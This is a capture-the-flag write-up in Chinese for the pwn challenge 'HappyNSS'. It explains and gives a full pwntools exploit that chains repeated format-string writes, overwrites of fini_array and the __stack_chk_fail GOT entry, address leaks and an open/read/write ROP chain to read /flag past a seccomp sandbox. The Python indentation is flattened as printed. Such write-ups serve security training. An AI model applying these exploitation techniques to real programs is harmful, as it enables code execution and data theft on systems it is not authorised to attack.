ELF64没开PIE,No RELRO,一次格式字符串。沙箱只允许用ORW

正常情况下一次格式字符串没开PIE没开沙箱的思路是 劫持fini->vuln,这样就有两次格式字符串的机会,堆溢出泄露地址,第二次改printf的got表为system,输入/bin/sh得到shell。有沙箱的情况下ORW,考虑无限次格式字符串(递归)。printf下只有___stack_chk_fail函数,可以考虑改___stack_chk_fail的got表为vuln破环canary得到无限次格式字符串的机会改最开始的vuln返回地址为read(0,stack,0x1000)输入ORW即可。
改fini和___stack_chk_fail为vuln地址并泄漏栈地址和libc地址
fini=0x4031E0
vuln=0x401445
stack_f=0x403410
v_low=vuln&0xffff
p.recvuntil(b"Now,plz you input:")
p.send(b"%"+str(v_low).encode()+b"c%10$hn%11$hn%17$p%13$paaaa"+p64(fini)+p64(stack_f))
p.recvuntil(b"0x")
canary=int(p.recv(12),16)-0x118
stack=canary+0x10
p.recvuntil(b"0x")
libc_base=int(p.recv(12),16)-0x80FAA
libc.address=libc_base
print("libc---------->"+hex(libc_base)+" "+"stack---------->"+hex(stack))

因为格式字符串不能写入0不能使得read的参数为0,我们找到栈上地址值为0的地方构造ROP,在前面填充ret即可

计算偏移,每开辟一个栈桢rbp会移动0x80(0x70+0x10)所以每次-0x80,stack每次+8,实现read(0,stack+(14*8).0x1000)
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f2e7
pop_rcx=libc_base+0x000000000003d1ee
ret=libc_base+0x0000000000029139
syscall=libc.sym["syscall"]
rop_read=[ret,ret,ret,ret,ret,ret,pop_rdi,0,pop_rsi,stack+(14*8),pop_rdx_r12,0x1000,0x1000,elf.plt["read"]]
print("pop_rdi---------->"+hex(pop_rdi))
for x in range(len(rop_read)):
p.recvuntil(b"Now,plz you input:")
payload = fmtstr_payload(offset=6, writes={canary: 0x1, stack: rop_read[x]}, write_size='short')
if rop_read[x]==0:
payload = fmtstr_payload(offset=6, writes={canary: 0x1}, write_size='short')
p.send(payload)
stack+=8
canary-=0x80
输入的地方正好是返回值的位置

输入ORW的ROP即可
open=flat([
pop_rdi,2,
pop_rsi,canary+0x68-0xD0,
pop_rcx,0,
pop_rdx_r12,0,0,
syscall
])
orw=ROP(libc)
orw.read(3,stack,0x50)
orw.write(1,stack,0x50)
p.recvuntil(b"Now,plz you input:")
gdb.attach(p, "b *0x40148D")
p.send(b"/flag\x00")
sleep(1)
p.send(open+orw.chain())
p.interactive()
完整EXP
from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux",log_level="debug")
import os
from LibcSearcher import *
filename="./HappyNSS"
elf=ELF(filename)
context.arch=elf.arch
os.system(f'chmod 777 ./{filename}')
debug=1
if debug:
p=process(filename)
#gdb.attach(p, "b *0x40148D")
else:
p=remote("node4.anna.nssctf.cn" ,28742)
libc=elf.libc
fini=0x4031E0
vuln=0x401445
stack_f=0x403410
v_low=vuln&0xffff
p.recvuntil(b"Now,plz you input:")
p.send(b"%"+str(v_low).encode()+b"c%10$hn%11$hn%17$p%13$paaaa"+p64(fini)+p64(stack_f))
p.recvuntil(b"0x")
canary=int(p.recv(12),16)-0x118
stack=canary+0x10
p.recvuntil(b"0x")
libc_base=int(p.recv(12),16)-0x80FAA
libc.address=libc_base
print("libc---------->"+hex(libc_base)+" "+"stack---------->"+hex(stack))
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f2e7
pop_rcx=libc_base+0x000000000003d1ee
ret=libc_base+0x0000000000029139
syscall=libc.sym["syscall"]
rop_read=[ret,ret,ret,ret,ret,ret,pop_rdi,0,pop_rsi,stack+(14*8),pop_rdx_r12,0x1000,0x1000,elf.plt["read"]]
print("pop_rdi---------->"+hex(pop_rdi))
for x in range(len(rop_read)):
p.recvuntil(b"Now,plz you input:")
payload = fmtstr_payload(offset=6, writes={canary: 0x1, stack: rop_read[x]}, write_size='short')
if rop_read[x]==0:
payload = fmtstr_payload(offset=6, writes={canary: 0x1}, write_size='short')
p.send(payload)
stack+=8
canary-=0x80
open=flat([
pop_rdi,2,
pop_rsi,canary+0x68-0xD0,
pop_rcx,0,
pop_rdx_r12,0,0,
syscall
])
orw=ROP(libc)
orw.read(3,stack,0x50)
orw.write(1,stack,0x50)
p.recvuntil(b"Now,plz you input:")
gdb.attach(p, "b *0x40148D")
p.send(b"/flag\x00")
sleep(1)
p.send(open+orw.chain())
p.interactive()
Comments NOTHING